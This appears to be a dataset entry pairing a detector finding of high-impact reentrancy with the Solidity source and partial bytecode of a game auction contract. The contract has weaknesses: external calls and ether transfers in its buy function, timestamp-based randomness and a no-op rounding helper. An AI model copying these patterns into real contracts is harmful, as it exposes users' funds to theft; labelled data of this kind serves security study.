ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ba81612620565b6123c484836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124219190612ca4565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600069152d02c7e14af6800000905061248069152d02c7e14af68000006006546121dc90919063ffffffff16565b8210156124a05760065469152d02c7e14af68000009350935050506124a9565b81819350935050505b9091565b600080831182906124f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124eb9190612b4d565b60405180910390fd5b50600083856125039190613868565b9050809150509392505050565b600080600080600080600080600061252d8a600c54600d54612717565b925092509250600061253d6121b1565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dc0565b905092915050565b60008082846125d191906134f6565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d906138e5565b60405180910390fd5b8091505092915050565b600061262a6121b1565b90506000612641828461283690919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61283690919063ffffffff16565b6121dc90919063ffffffff16565b9050600061276d606461275f888b61283690919063ffffffff16565b6121dc90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961283690919063ffffffff16565b905060006127dd868961283690919063ffffffff16565b905060006127f4878961283690919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561284957600090506128ab565b600082846128579190613905565b90508284826128669190613868565b146128a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289d906139d1565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612913826128ca565b810181811067ffffffffffffffff82111715612932576129316128db565b5b80604052505050565b60006129456128b1565b9050612951828261290a565b919050565b600067ffffffffffffffff821115612971576129706128db565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129b282612987565b9050919050565b6129c2816129a7565b81146129cd57600080fd5b50565b6000813590506129df816129b9565b92915050565b60006129f86129f384612956565b61293b565b90508083825260208201905060208402830185811115612a1b57612a1a612982565b5b835b81811015612a445780612a3088826129d0565b845260208401935050602081019050612a1d565b5050509392505050565b600082601f830112612a6357612a626128c5565b5b8135612a738482602086016129e5565b91505092915050565b600060208284031215612a9257612a916128bb565b5b600082013567ffffffffffffffff811115612ab057612aaf6128c0565b5b612abc84828501612a4e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612aff578082015181840152602081019050612ae4565b83811115612b0e576000848401525b50505050565b6000612b1f82612ac5565b612b298185612ad0565b9350612b39818560208601612ae1565b612b42816128ca565b840191505092915050565b60006020820190508181036000830152612b678184612b14565b905092915050565b6000819050919050565b612b8281612b6f565b8114612b8d57600080fd5b50565b600081359050612b9f81612b79565b92915050565b60008060408385031215612bbc57612bbb6128bb565b5b6000612bca858286016129d0565b9250506020612bdb85828601612b90565b9150509250929050565b60008115159050919050565b612bfa81612be5565b82525050565b6000602082019050612c156000830184612bf1565b92915050565b6000819050919050565b6000612c40612c3b612c3684612987565b612c1b565b612987565b9050919050565b6000612c5282612c25565b9050919050565b6000612c6482612c47565b9050919050565b612c7481612c59565b82525050565b6000602082019050612c8f6000830184612c6b565b92915050565b612c9e81612b6f565b82525050565b6000602082019050612cb96000830184612c95565b92915050565b600080600060608486031215612cd857612cd76128bb565b5b6000612ce6868287016129d0565b9350506020612cf7868287016129d0565b9250506040612d0886828701612b90565b9150509250925092565b612d1b81612be5565b8114612d2657600080fd5b50565b600081359050612d3881612d12565b92915050565b60008060408385031215612d5557612d546128bb565b5b6000612d63858286016129d0565b9250506020612d7485828601612d29565b9150509250929050565b600060ff82169050919050565b612d9481612d7e565b82525050565b6000602082019050612daf6000830184612d8b565b92915050565b612dbe816129a7565b82525050565b6000602082019050612dd96000830184612db5565b92915050565b600060208284031215612df557612df46128bb565b5b6000612e03848285016129d0565b91505092915050565b600060208284031215612e2257612e216128bb565b5b6000612e3084828501612d29565b91505092915050565b600060208284031215612e4f57612e4e6128bb565b5b6000612e5d84828501612b90565b91505092915050565b60008060008060808587031215612e8057612e7f6128bb565b5b6000612e8e87828801612b90565b9450506020612e9f87828801612b90565b9350506040612eb087828801612b90565b9250506060612ec187828801612b90565b91505092959194509250565b60008060408385031215612ee457612ee36128bb565b5b6000612ef2858286016129d0565b9250506020612f03858286016129d0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f43602083612ad0565b9150612f4e82612f0d565b602082019050919050565b60006020820190508181036000830152612f7281612f36565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fe282612b6f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561301557613014612fa8565b5b600182019050919050565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b6000613056601783612ad0565b915061306182613020565b602082019050919050565b6000602082019050818103600083015261308581613049565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006130e8602483612ad0565b91506130f38261308c565b604082019050919050565b60006020820190508181036000830152613117816130db565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061317a602283612ad0565b91506131858261311e565b604082019050919050565b600060208201905081810360008301526131a98161316d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061320c602583612ad0565b9150613217826131b0565b604082019050919050565b6000602082019050818103600083015261323b816131ff565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061329e602383612ad0565b91506132a982613242565b604082019050919050565b600060208201905081810360008301526132cd81613291565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613330602983612ad0565b915061333b826132d4565b604082019050919050565b6000602082019050818103600083015261335f81613323565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006133c2603f83612ad0565b91506133cd82613366565b604082019050919050565b600060208201905081810360008301526133f1816133b5565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b600061342e601c83612ad0565b9150613439826133f8565b602082019050919050565b6000602082019050818103600083015261345d81613421565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006134c0602383612ad0565b91506134cb82613464565b604082019050919050565b600060208201905081810360008301526134ef816134b3565b9050919050565b600061350182612b6f565b915061350c83612b6f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561354157613540612fa8565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006135a8602383612ad0565b91506135b38261354c565b604082019050919050565b600060208201905081810360008301526135d78161359b565b9050919050565b60006135e982612b6f565b91506135f483612b6f565b92508282101561360757613606612fa8565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061366e602a83612ad0565b915061367982613612565b604082019050919050565b6000602082019050818103600083015261369d81613661565b9050919050565b6000815190506136b3816129b9565b92915050565b6000602082840312156136cf576136ce6128bb565b5b60006136dd848285016136a4565b91505092915050565b6000819050919050565b600061370b613706613701846136e6565b612c1b565b612b6f565b9050919050565b61371b816136f0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613756816129a7565b82525050565b6000613768838361374d565b60208301905092915050565b6000602082019050919050565b600061378c82613721565b613796818561372c565b93506137a18361373d565b8060005b838110156137d25781516137b9888261375c565b97506137c483613774565b9250506001810190506137a5565b5085935050505092915050565b600060a0820190506137f46000830188612c95565b6138016020830187613712565b81810360408301526138138186613781565b90506138226060830185612db5565b61382f6080830184612c95565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061387382612b6f565b915061387e83612b6f565b92508261388e5761388d613839565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006138cf601b83612ad0565b91506138da82613899565b602082019050919050565b600060208201905081810360008301526138fe816138c2565b9050919050565b600061391082612b6f565b915061391b83612b6f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561395457613953612fa8565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006139bb602183612ad0565b91506139c68261395f565b604082019050919050565b600060208201905081810360008301526139ea816139ae565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220961b806131a84948edd3b44136b2461496edd9de02e966b95b5119ba6441e29764736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,200 |
0xa4337c343132e134a23439d5386c29c610b93d5b
|
pragma solidity ^0.4.19;
contract AccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function AccessControl() public {
owner = msg.sender;
moderators[msg.sender] = true;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract DTT is AccessControl{
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function balanceOf(address _addr) public returns (uint);
mapping (address => mapping (address => uint256)) public allowance;
}
contract DataBase is AccessControl{
function addMonsterObj(uint64 _monsterId,uint256 _genes,uint32 _classId,address _master,string _name,string _skills) public;
function getTotalMonster() constant public returns(uint64);
function setMonsterGene(uint64 _monsterId,uint256 _genes) public;
}
contract NFTToken is AccessControl{
function transferAuction(address _from, address _to, uint256 _value) external;
function ownerOf(uint256 _tokenId) public constant returns (address owner);
}
contract CryptoAndDragonsAuction is AccessControl{
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event Hatch(address indexed _owner, uint16 _tableId);
address public thisAddress;
address public dragonTreasureToken;
address public databaseContract;
address public ERC721Contract;
uint256 public totalAuction;
uint256 private increaseRate = 0.1 ether;
mapping (address => address) public masterToReferral;
function setNewMonster(uint256 _genes,uint32 _classId,address _master,string _name,string _skills) onlyModerators public returns(uint64 _monsterId) {
DataBase data = DataBase(databaseContract);
uint64 monsterId = data.getTotalMonster() + 1;
data.addMonsterObj(monsterId,_genes,_classId,_master,_name,_skills);
return monsterId;
}
function setMasterToReferral(address _master, address _referral) onlyOwner public{
masterToReferral[_master] = _referral;
}
function setAddresses(address _dragonTreasureToken,address _databaseContract,address _ERC721Contract) onlyOwner public{
dragonTreasureToken = _dragonTreasureToken;
databaseContract = _databaseContract;
ERC721Contract = _ERC721Contract;
}
struct Auction {
uint256 classId;
uint256 monsterId;
uint256 price;
uint256 endTime;
uint8 rarity;
address bidder;
}
Auction[] public auctions;
uint randNonce = 0;
function randMod(uint _modulus) internal returns(uint) {
randNonce++;
return uint(keccak256(now, msg.sender, randNonce)) % _modulus;
}
function getSortedArray(uint[] storageInt) public pure returns(uint[]) {
uint[] memory a = getCloneArray(storageInt);
quicksort(a);
return a;
}
function getCloneArray(uint[] a) private pure returns(uint[]) {
return a;
}
function swap(uint[] a, uint l, uint r) private pure {
uint t = a[l];
a[l] = a[r];
a[r] = t;
}
function getPivot(uint a, uint b, uint c) private pure returns(uint) {
if(a > b){
if(b > c){
return b;
}else{
return a > c ? c : a ;
}
}else{
if(a > c){
return a;
}else{
return b > c ? c : b ;
}
}
}
function quicksort(uint[] a) private pure {
uint left = 0;
uint right = a.length - 1;
quicksort_core(a, left, right);
}
function quicksort_core(uint[] a, uint left, uint right) private pure {
if(right <= left){
return;
}
uint l = left;
uint r = right;
uint p = getPivot(a[l], a[l+1], a[r]);
while(true){
while(a[l] < p){
l++;
}
while(p < a[r]){
r--;
}
if(r <= l){
break;
}
swap(a, l, r);
l++;
r--;
}
quicksort_core(a, left, l-1);
quicksort_core(a, r+1, right);
}
/* Withdraw */
/*
NOTICE: These functions withdraw the developer's cut which is left
in the contract by `buy`. User funds are immediately sent to the old
owner in `buy`, no user funds are left in the contract.
*/
function withdrawAll () onlyOwner public {
msg.sender.transfer(this.balance);
}
function withdrawAmount (uint256 _amount) onlyOwner public {
msg.sender.transfer(_amount);
}
function addAuction(uint32 _classId, uint256 _monsterId, uint256 _price, uint8 _rarity, uint32 _endTime) onlyOwner public {
Auction memory auction = Auction({
classId: _classId,
monsterId: _monsterId,
price: _price,
rarity: _rarity,
endTime: _endTime + now,
bidder: msg.sender
});
auctions.push(auction);
totalAuction += 1;
}
function burnAuction() onlyOwner external {
uint256 counter = 0;
for (uint256 i = 0; i < totalAuction; i++) {
if(auctions[i].endTime < now - 86400 * 3){
delete auctions[i];
counter++;
}
}
totalAuction -= counter;
}
/* Buying */
function ceil(uint a) public pure returns (uint ) {
return uint(int(a * 100) / 100);
}
/*
Buy a country directly from the contract for the calculated price
which ensures that the owner gets a profit. All countries that
have been listed can be bought by this method. User funds are sent
directly to the previous owner and are never stored in the contract.
*/
function setGenes(uint256 _price, uint256 _monsterId) internal{
DataBase data = DataBase(databaseContract);
uint256 gene = _price / 100000000000000000;
if(gene > 255)
gene = 255;
uint256 genes = 0;
genes += gene * 1000000000000000;
genes += gene * 1000000000000;
genes += gene * 1000000000;
genes += gene * 1000000;
genes += gene * 1000;
genes += gene;
if(genes > 255255255255255255)
genes = 255255255255255255;
data.setMonsterGene(uint64(_monsterId),genes);
}
function buy (uint256 _auctionId, address _referral) payable public {
NFTToken CNDERC721 = NFTToken(ERC721Contract);
require(auctions[_auctionId].endTime > now);
require(CNDERC721.ownerOf(auctions[_auctionId].monsterId) != address(0));
require(ceil(msg.value) >= ceil(auctions[_auctionId].price + increaseRate));
require(CNDERC721.ownerOf(auctions[_auctionId].monsterId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = CNDERC721.ownerOf(auctions[_auctionId].monsterId);
address newOwner = msg.sender;
uint256 oldPrice = auctions[_auctionId].price;
uint256 price = ceil(msg.value);
setGenes(price,auctions[_auctionId].monsterId);
CNDERC721.transferAuction(oldOwner, newOwner, auctions[_auctionId].monsterId);
auctions[_auctionId].price = ceil(price);
auctions[_auctionId].bidder = msg.sender;
DTT DTTtoken = DTT(dragonTreasureToken);
if(masterToReferral[msg.sender] != address(0) && masterToReferral[msg.sender] != msg.sender){
DTTtoken.approve(masterToReferral[msg.sender], DTTtoken.allowance(this,masterToReferral[msg.sender]) + (price - oldPrice) / 1000000000 * 5);
}else if(_referral != address(0) && _referral != msg.sender){
masterToReferral[msg.sender] = _referral;
DTTtoken.approve(_referral, DTTtoken.allowance(this,_referral) + (price - oldPrice) / 1000000000 * 5);
}
DTTtoken.approve(msg.sender, DTTtoken.allowance(this,msg.sender) + (price - oldPrice) / 1000000000 * 5);
if(oldPrice > 0)
oldOwner.transfer(oldPrice);
Bought(auctions[_auctionId].monsterId, newOwner, price);
Sold(auctions[_auctionId].monsterId, oldOwner, price);
}
function monstersForSale (uint8 optSort) external view returns (uint256[] _monsters){
uint256[] memory mcount = new uint256[](totalAuction);
uint256 counter = 0;
for (uint256 i = 0; i < totalAuction; i++) {
mcount[counter] = i;
counter++;
}
if(optSort != 0){
sortAuction(mcount);
}
return mcount;
}
function sortAuction (uint256[] _mcount) public view returns (uint256[] _monsters){
uint256[] memory mcount = new uint256[](_mcount.length);
for(uint256 i = 0; i < _mcount.length; i++){
mcount[i] = auctions[i].price * 10000000000 + i;
}
uint256[] memory tmps = getSortedArray(_mcount);
uint256[] memory result = new uint256[](tmps.length);
for(uint256 i2 = 0; i2 < tmps.length; i2++){
result[i2] = tmps[i2] % 10000000000;
}
return result;
}
/* Util */
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
}
|
0x60606040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630562b9f71461016457806314d0f1ba146101875780631e1d237e146101d8578063278a4c4f14610287578063363bf964146102df578063397e953f1461035657806340f0a21f146103ab57806348ef5aa8146103e25780634efb023e14610407578063571a26a0146104385780635b6a42b8146104c45780636c1247e5146105c35780636c81fd6d146106185780636df238c31461065157806376a310a5146106ca5780637deb6025146107205780638252ad9c14610757578063853828b6146107805780638da5cb5b146107955780639e1e1ca9146107ea578063a703078c14610865578063b85d627514610914578063c880fab11461094d578063c9f0a02d146109a2578063d4dca69b146109b7578063ee4e441614610a0c578063f285329214610a39575b600080fd5b341561016f57600080fd5b6101856004808035906020019091905050610a72565b005b341561019257600080fd5b6101be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b10565b604051808215151515815260200191505060405180910390f35b34156101e357600080fd5b610230600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610b30565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610273578082015181840152602081019050610258565b505050509050019250505060405180910390f35b341561029257600080fd5b6102dd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b5d565b005b34156102ea57600080fd5b610354600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c3a565b005b341561036157600080fd5b610369610d5d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103b657600080fd5b6103cc6004808035906020019091905050610d83565b6040518082815260200191505060405180910390f35b34156103ed57600080fd5b61040560048080351515906020019091905050610d9b565b005b341561041257600080fd5b61041a610e13565b604051808261ffff1661ffff16815260200191505060405180910390f35b341561044357600080fd5b6104596004808035906020019091905050610e27565b604051808781526020018681526020018581526020018481526020018360ff1660ff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001965050505050505060405180910390f35b34156104cf57600080fd5b610599600480803590602001909190803563ffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610e9f565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b34156105ce57600080fd5b6105d6611182565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062357600080fd5b61064f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a8565b005b341561065c57600080fd5b610688600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112e8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106d557600080fd5b61071e600480803563ffffffff1690602001909190803590602001909190803590602001909190803560ff1690602001909190803563ffffffff1690602001909190505061131b565b005b610755600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114ab565b005b341561076257600080fd5b61076a6123b7565b6040518082815260200191505060405180910390f35b341561078b57600080fd5b6107936123bd565b005b34156107a057600080fd5b6107a8612471565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107f557600080fd5b61080e600480803560ff16906020019091905050612496565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610851578082015181840152602081019050610836565b505050509050019250505060405180910390f35b341561087057600080fd5b6108bd600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050612534565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156109005780820151818401526020810190506108e5565b505050509050019250505060405180910390f35b341561091f57600080fd5b61094b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612674565b005b341561095857600080fd5b6109606127b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109ad57600080fd5b6109b56127db565b005b34156109c257600080fd5b6109ca61291e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a1757600080fd5b610a1f612944565b604051808215151515815260200191505060405180910390f35b3415610a4457600080fd5b610a70600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612957565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610acd57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610b0d57600080fd5b50565b60016020528060005260406000206000915054906101000a900460ff1681565b610b38612dae565b610b40612dae565b610b4983612a2c565b9050610b5481612a3c565b80915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bb857600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9557600080fd5b82600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006064808302811515610d9357fe5b059050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610df657600080fd5b80600260006101000a81548160ff02191690831515021790555050565b600060149054906101000a900461ffff1681565b600981815481101515610e3657fe5b90600052602060002090600502016000915090508060000154908060010154908060020154908060030154908060040160009054906101000a900460ff16908060040160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905086565b600080600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610f0357600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915060018273ffffffffffffffffffffffffffffffffffffffff166382ef351a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610f9657600080fd5b6102c65a03f11515610fa757600080fd5b505050604051805190500190508173ffffffffffffffffffffffffffffffffffffffff16634654b6e2828a8a8a8a8a6040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808767ffffffffffffffff1667ffffffffffffffff1681526020018681526020018563ffffffff1663ffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001838103835285818151815260200191508051906020019080838360005b838110156110a957808201518184015260208101905061108e565b50505050905090810190601f1680156110d65780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561110f5780820151818401526020810190506110f4565b50505050905090810190601f16801561113c5780820380516001836020036101000a031916815260200191505b5098505050505050505050600060405180830381600087803b151561116057600080fd5b6102c65a03f1151561117157600080fd5b505050809250505095945050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120357600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156112e55760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b60086020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611323612dc2565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137e57600080fd5b60c0604051908101604052808763ffffffff168152602001868152602001858152602001428463ffffffff160181526020018460ff1681526020013373ffffffffffffffffffffffffffffffffffffffff168152509050600980548060010182816113e99190612e12565b916000526020600020906005020160008390919091506000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff021916908360ff16021790555060a08201518160040160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050506001600660008282540192505081905550505050505050565b600080600080600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169550426009898154811015156114e957fe5b90600052602060002090600502016003015411151561150757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16636352211e60098b81548110151561154a57fe5b9060005260206000209060050201600101546000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156115b657600080fd5b6102c65a03f115156115c757600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff16141515156115f457600080fd5b61162160075460098a81548110151561160957fe5b90600052602060002090600502016002015401610d83565b61162a34610d83565b1015151561163757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16636352211e60098b81548110151561167957fe5b9060005260206000209060050201600101546000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156116e557600080fd5b6102c65a03f115156116f657600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff161415151561172357600080fd5b61172c33612a5a565b15151561173857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561177457600080fd5b8573ffffffffffffffffffffffffffffffffffffffff16636352211e60098a81548110151561179f57fe5b9060005260206000209060050201600101546000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561180b57600080fd5b6102c65a03f1151561181c57600080fd5b50505060405180519050945033935060098881548110151561183a57fe5b906000526020600020906005020160020154925061185734610d83565b91506118838260098a81548110151561186c57fe5b906000526020600020906005020160010154612a6d565b8573ffffffffffffffffffffffffffffffffffffffff1663d3fd9eba868660098c8154811015156118b057fe5b9060005260206000209060050201600101546040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b151561197957600080fd5b6102c65a03f1151561198a57600080fd5b50505061199682610d83565b6009898154811015156119a557fe5